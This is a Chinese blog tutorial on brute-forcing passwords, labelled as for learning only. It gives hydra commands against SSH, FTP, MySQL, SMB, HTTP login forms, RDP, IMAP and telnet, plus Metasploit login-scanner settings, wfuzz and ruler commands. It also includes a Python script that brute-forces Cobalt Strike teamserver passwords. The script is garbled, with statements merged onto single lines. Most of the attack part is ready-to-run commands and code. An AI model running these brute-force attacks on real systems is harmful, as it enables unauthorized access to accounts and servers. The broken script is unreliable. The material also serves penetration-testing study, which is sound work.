当前位置: 首页 > news >正文

Web安全——穷举爆破下篇(仅供学习)

Web安全

  • 一、常见的端口服务穷举
    • 1、hydra 密码穷举工具的使用
    • 2、使用 hydra 穷举 ssh 服务
    • 3、使用 hydra 穷举 ftp 服务
    • 4、使用 hydra 穷举 mysql 服务
    • 5、使用 hydra 穷举 smb 服务
    • 6、使用 hydra 穷举 http 服务
    • 7、使用 hydra 穷举 pop3 服务
    • 8、使用 hydra 穷举 rdp 服务
    • 9、使用 hydra 穷举 http-proxy 服务
    • 10、使用 hydra 穷举 imap 服务
    • 11、使用 hydra 穷举 telnet 服务
  • 二、xhydra 穷举工具破解各种服务
  • 三、metasploit 穷举模块的使用
  • 四、御剑 RDP 爆破工具的使用
  • 五、wfuzz 多线程穷举密码
  • 六、邮箱密码的穷举
    • 1、企业独立搭建的邮服 用 MailCracker 进行破解
    • 2、针对 163 qq 这些邮箱用 mail 脚本进行穷举
  • 七、CobaltStrike TeamServer 口令暴力破解
  • 八、对 apache-tomcat 服务进行穷举
  • 九、超级弱口令穷举使用
  • 十、exchange 邮服穷举

一、常见的端口服务穷举

1、hydra 密码穷举工具的使用

hydra 是一个端口穷举服务器的工具

adam6500 asterisk cisco cisco-enable cvs firebird ftp[s]
http[s]-{head|get|post} http[s]-{get|post}-form http-proxy
http-proxy-urlenum icq imap[s] irc ldap2[s]
ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp
oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2
rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s]
smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc
xmpp

使用例子

hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh

常用参数说明

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]

-R
继续从上一次进度接着破解
-S
大写,采用 SSL 链接
-s <PORT>
小写,可通过这个参数指定非默认端口
-l <LOGIN>
指定破解的用户,对特定用户破解
-L <FILE>
指定用户名字典
-p <PASS>
小写,指定密码破解,少用,一般是采用密码字典
-P <FILE>
大写,指定密码字典
-e <ns>
可选选项,n:空密码试探,s:使用指定用户和密码试探
-C <FILE>
使用冒号分割格式,例如“登录名:密码”来代替-L/-P 参数
-M <FILE>
指定目标列表文件一行一条
-o <FILE>
指定结果输出文件
-f
在使用-M 参数以后,找到第一对登录名或者密码的时候中止破解
-t <TASKS>
同时运行的线程数,默认为 16
-w <TIME>
设置最大超时的时间,单位秒,默认是 30s
-v / -V
显示详细过程
server
目标 ip
service
指定服务名,支持的服务和协议:

telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get}
http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3
mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs
snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak
sip vmauthd firebird ncp afp 等等

OPT
可选项

2、使用 hydra 穷举 ssh 服务

-L 用户字典文件 -P 密码字典文件 -t 线程数 -vV 详细信息 -e ns 使用空口令使用指定用户和密码试探 192.168.1.104 你要穷举的 ip ssh 是服务 -o 保存文件
-f 如果找到马上中断扫描
hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f ssh://192.168.1.104
192.168.1.104 ssh
-l 指定用户

hydra -l root -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f
hydra -l root -P 2019_top100.txt 192.168.52.13 ssh -vV -f

在这里插入图片描述

3、使用 hydra 穷举 ftp 服务

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认 16) -vV 
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
hydra -l c5moon -P 2019_top100.txt 192.168.52.6 ftp -vV -f

在这里插入图片描述

4、使用 hydra 穷举 mysql 服务

hydra ip mysql -l 用户名 -P 密码字典 -t 线程(默认 16) -vV 
hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV
hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV -s 端口

5、使用 hydra 穷举 smb 服务

hydra -l administrator -P 2019_top100.txt 192.168.52.6 smb -vV -f

在这里插入图片描述
在这里插入图片描述

6、使用 hydra 穷举 http 服务

hydra -l admin -P 2019_top100.txt -vV -f www.c1moon.com http-post-form "/admin/index.php:user=^USER^&ps=^PASS^&action=login:login-error"

在这里插入图片描述

7、使用 hydra 穷举 pop3 服务

hydra -L user.txt -P qweasd123 192.168.52.6 smtp-vV -f

8、使用 hydra 穷举 rdp 服务

hydra ip rdp -l administrator -P pass.txt -V

9、使用 hydra 穷举 http-proxy 服务

hydra -l admin -P pass.txt http-proxy://10.36.16.18

10、使用 hydra 穷举 imap 服务

hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

11、使用 hydra 穷举 telnet 服务

hydra ip telnet -l  用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

在这里插入图片描述

二、xhydra 穷举工具破解各种服务

xhydra 是 hydra 的可视化工具 使用简单方便快捷。终端输入 xhydra 即可使用。
使用 hydra 破解 rdp 服务
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

三、metasploit 穷举模块的使用

metasploit 是一个渗透测试集成套件 同样也有穷举模块

auxiliary/scanner/ftp/ftp_login 
auxiliary/scanner/ssh/ssh_login 
auxiliary/scanner/telnet/telnet_login 
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login 
auxiliary/scanner/mysql/mysql_login 
auxiliary/scanner/oracle/oracle_login 
auxiliary/scanner/postgres/postgres_login 
auxiliary/scanner/vnc/vnc_login 
auxiliary/scanner/pcanywhere/pcanywhere_login 
auxiliary/scanner/snmp/snmp_login

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

模块的用法
首先启动在终端下启动 msfconsole use 使用 ssh_login 模块
在这里插入图片描述
在这里插入图片描述

use auxiliary/scanner/ssh/ssh_login
show options 查看模块的参数
在这里插入图片描述

RHOSTS 攻击的目标
PASS_FILE 密码字典STOP_ON_SUCCESS 成功破解一个终止THREADS 线程数

set 设置参数

msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /home/kali/2019_top100.txt PASS_FILE => /home/kali/2019_top100.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.52.13 RHOSTS => 192.168.52.13
msf5 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true STOP_ON_SUCCESS => true
msf5 auxiliary(scanner/ssh/ssh_login) > set USERNAME root USERNAME => root
msf5 auxiliary(scanner/ssh/ssh_login) > show options

设置好后用 run 或者 exploit 进行攻击
在这里插入图片描述
在这里插入图片描述

四、御剑 RDP 爆破工具的使用

在这里插入图片描述

五、wfuzz 多线程穷举密码

Usage: wfuzz [options] -z payload,params <url> 
Examples:
wfuzz -c -z file,users.txt -z file,pass.txt --sc 200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z 
wfuzz -c -z range,1-10 --hc=BBB http://www.site.com/FUZZ{something not there}
wfuzz --script=robots -z list,robots.txt http://www.webscantest.com/FUZZ
wfuzz -c -z file,2019_top100.txt --sc 302 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -z file,2019_top100.txt --hc 404 --hh 1549 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -w	/home/kali/csdnpass.txt --hc 404 --hh 1549 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"

在这里插入图片描述
在这里插入图片描述

六、邮箱密码的穷举

默认的收发邮件端口信息发邮件 pop3 110 加密 995
收邮件 smtp 25 加密 465

1、企业独立搭建的邮服 用 MailCracker 进行破解

在这里插入图片描述

2、针对 163 qq 这些邮箱用 mail 脚本进行穷举

像 163 qq 这些邮箱 并发会拦截,而且不能穷举太多。一般配合社工办法来穷举。
在这里插入图片描述

七、CobaltStrike TeamServer 口令暴力破解

在这里插入图片描述
Cobalt Strike 是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket 代理,office 攻击,文件捆绑,钓鱼等多种功能。同时,Cobalt Strike 还可以调用Mimikatz 等其他知名工具,因此广受技术大佬的喜爱。Cobalt Strike 是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket 代理,office 攻击, 文件捆绑,钓鱼等多种功能。同时,Cobalt Strike 还可以调用Mimikatz 等其他知名工具,因此广受技术大佬的喜爱。
Cobalt Strike 是由美国 Red Team 开发,官网地址: http://cobaltstrike.com
这个工具的社区版是大家熟知的 Armitage(一个 MSF 的图形化界面工具),而Cobalt Strike 大家可以理解其为 Armitage 的商业版。
TeamServer 口令暴力破解
然而今天我们并不是介绍和讲解 Cobalt Strike,而是关于 Cobalt Strike 的口令暴力破解,众所周知 Cobalt Strike 的工作方式是以TeamServer 为核心,可多个 Cilent 的 CS(Server Cilent)架构。
启动 teamserver
sudo ./teamserver 192.168.0.102 123456
启动 temaerver 之后可以通过客户端连接连接服务器 默认的端口是 50050 密码是 123456 即可登录。
如果把 teamserver 放在公网上,口令设置薄弱 可以通过对其穷举有一定的几率获取 teamserver 的权限,那么服务器里的被成功控制的机器,我们也可以对其控制。所以说危害是非常大的。

使用 csbuster.py 对 50050 端口进行密码穷举

#!/usr/bin/env python3
# -*- coding:gbk -*- import time
import socket 
import ssl 
import argparse
import concurrent.futures 
import sys
# csbrute.py - Cobalt Strike Team Server Password Brute Forcer
#
https://stackoverflow.com/questions/6224736/how-to-write-python-code-that-is-able-t o-properly-require-a-minimal-python-versiMIN_PYTHON = (3, 3)
if sys.version_info < MIN_PYTHON:sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON) parser = argparse.ArgumentParser()parser.add_argument("host",help="Teamserver address") 	parser.add_argument("wordlist", nargs="?",help="Newline-delimited word list file") parser.add_argument("-p", dest="port", default=50050, type=int,help="Teamserver port") parser.add_argument("-t",dest="threads", default=25, type=int,help="Concurrency level") args = parser.parse_args()#
https://stackoverflow.com/questions/27679890/how-to-handle-ssl-connections-in-raw- python-socketclass NotConnectedException(Exception):def init (self, message=None, node=None): self.message = messageself.node = nodeclass DisconnectedException(Exception):def init (self, message=None, node=None): self.message = messageself.node = nodeclass Connector:def init (self): self.sock = None self.ssl_sock = Noneself.ctx = ssl.SSLContext() 		self.ctx.verify_mode = ssl.CERT_NONE passdef is_connected(self):return self.sock and self.ssl_sockdef open(self, hostname, port):self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.sock.settimeout(10)self.ssl_sock = self.ctx.wrap_socket(self.sock)if hostname == socket.gethostname():ipaddress = socket.gethostbyname_ex(hostname)[2][0] self.ssl_sock.connect((ipaddress, port))else:self.ssl_sock.connect((hostname, port))def close(self):if self.sock:self.sock.close() self.sock = None 	self.ssl_sock = Nonedef send(self, buffer):if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")self.ssl_sock.sendall(buffer)def receive(self):if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")received_size = 0 data_buffer = b""while received_size < 4:data_in = self.ssl_sock.recv() data_buffer = 			data_buffer + data_in 		received_size += len(data_in)return data_bufferdef passwordcheck(password): if len(password) > 0:result = Noneconn = Connector() 			conn.open(args.host, args.port)payload	=	bytearray(b"\x00\x00\xbe\xef")	+	len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A")) 		conn.send(payload)if conn.is_connected(): result = conn.receive() if conn.is_connected(): conn.close()if result == bytearray(b"\x00\x00\xca\xfe"): return passwordelse:return Falseelseprint("Ignored blank password") passwords = []if args.wordlist:print("Wordlist: {}".format(args.wordlist)) passwords = open(args.wordlist).read().split("\n")	else:print("Wordlist: {}".format("stdin")) for line in sys.stdin:passwords.append(line.rstrip())if len(passwords) > 0:print("Word Count: {}".format(len(passwords))) 		print("Threads: {}".format(args.threads))start = time.time()# https://stackoverflow.com/questions/2846653/how-to-use-threading-in-pythonattempts = 0failures = 0with	concurrent.futures.ThreadPoolExecutor(max_workers=args.threads)	as executor:future_to_check = {executor.submit(passwordcheck, password): password for password in passwords}for future in concurrent.futures.as_completed(future_to_check): password = future_to_check[future]try:data = future.result() attempts = attempts + 1 if data:print("Found Password: {}".format(password)) except Exception as exc:failures = failures + 1print('%r generated an exception: %s' % (password, exc))print("Attempts: {}".format(attempts)) print("Failures: {}".format(failures)) finish = time.time()print("Seconds: {:.1f}".format(finish - start))print("Attemps per second: {:.1f}".format((failures + attempts) / (finish - start)))print("Password(s) required")
python3 csbuster.py 192.168.0.102 /home/kali/top1000.txt -t 20

在这里插入图片描述
https://www.moonsec.com/archives/3089

八、对 apache-tomcat 服务进行穷举

Apache Tomcat 是世界上使用最广泛的 Java Web 应用服务器之一,绝大数人都会使用 Tomcat 的默认配置。然而默认配置中会有一个向外网开放的 Web 应用管理器,管理员可以利用它在服务器中启动、停止、添加和删除应用。
在这里插入图片描述
在这里插入图片描述

use scanner/http/tomcat_mgr_login set PASSWORD 设置密码字典
set RPORT 8081 设置端口
set RHOSTS 192.168.52.6
exploit 攻击
在这里插入图片描述

在这里插入图片描述

九、超级弱口令穷举使用

在这里插入图片描述

十、exchange 邮服穷举

ruler -domain evilcorp.ninja -brute -usernames~/users.txt -passwords ~/passwords.txt -delay 0 -v -insecure

http://www.lryc.cn/news/165423.html

相关文章:

  • 强大的JTAG边界扫描(5):FPGA边界扫描应用
  • 苍穹外卖集成 Apache POI Java实现Excel文件的读写下载
  • iOS逆向:工具安装
  • 十种数据库缓存相关的技术和机制
  • 【C++】封装unordered_map和unordered_set(用哈希桶实现)
  • 面试问题回忆
  • 更多场景、更多选择,Milvus 新消息队列 NATS 了解一下
  • 如何通过python实现一个web自动化测试框架?
  • Linux —— 信号阻塞
  • 【【萌新编写riscV之计算机体系结构之CPU 总二】】
  • error:03000086:digital envelope routines::initialization error
  • 暴涨130万粉仅用3个月,一招转型成B站热门UP主
  • 【Linus】vim的使用:命令模式、底行模式、插入模式、视图模式、替换模式的常用操作介绍
  • leetcode第362场周赛补题
  • SpringMvc 之crud增删改查应用
  • 【业务功能109】微服务-springcloud-springboot-Skywalking-链路追踪-监控
  • 《向量数据库指南》——AI原生向量数据库Milvus Cloud 2.3架构升级
  • Flutter中实现交互式Webview的方法
  • 【Java Web】用Redis优化登陆模块
  • 华为云云耀云服务器L实例评测|docker私有仓库部署手册
  • JAVA-3DES对称加解密工具(不依赖第三方库)
  • 基于Matlab卡尔曼滤波的IMU和GPS组合导航数据融合(附上源码+数据)
  • net自动排课系统完整源码(适合智慧校园)
  • Matlab匿名函数教程
  • 【Vue】一文让你进入Vue的大门
  • Linux mmap读/写触发共享文件页生命周期
  • linux 用户、组操作
  • MySQL报错this is incompatible withsal mode=only full group by处理办法
  • Mybatis 动态语言 - mybatis-freemarker
  • 软件源码开发,网络中的“摄像头”:运维监控系统